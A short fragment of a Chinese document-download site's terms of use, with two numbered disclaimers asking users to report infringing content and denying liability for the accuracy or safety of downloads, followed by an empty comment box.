  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論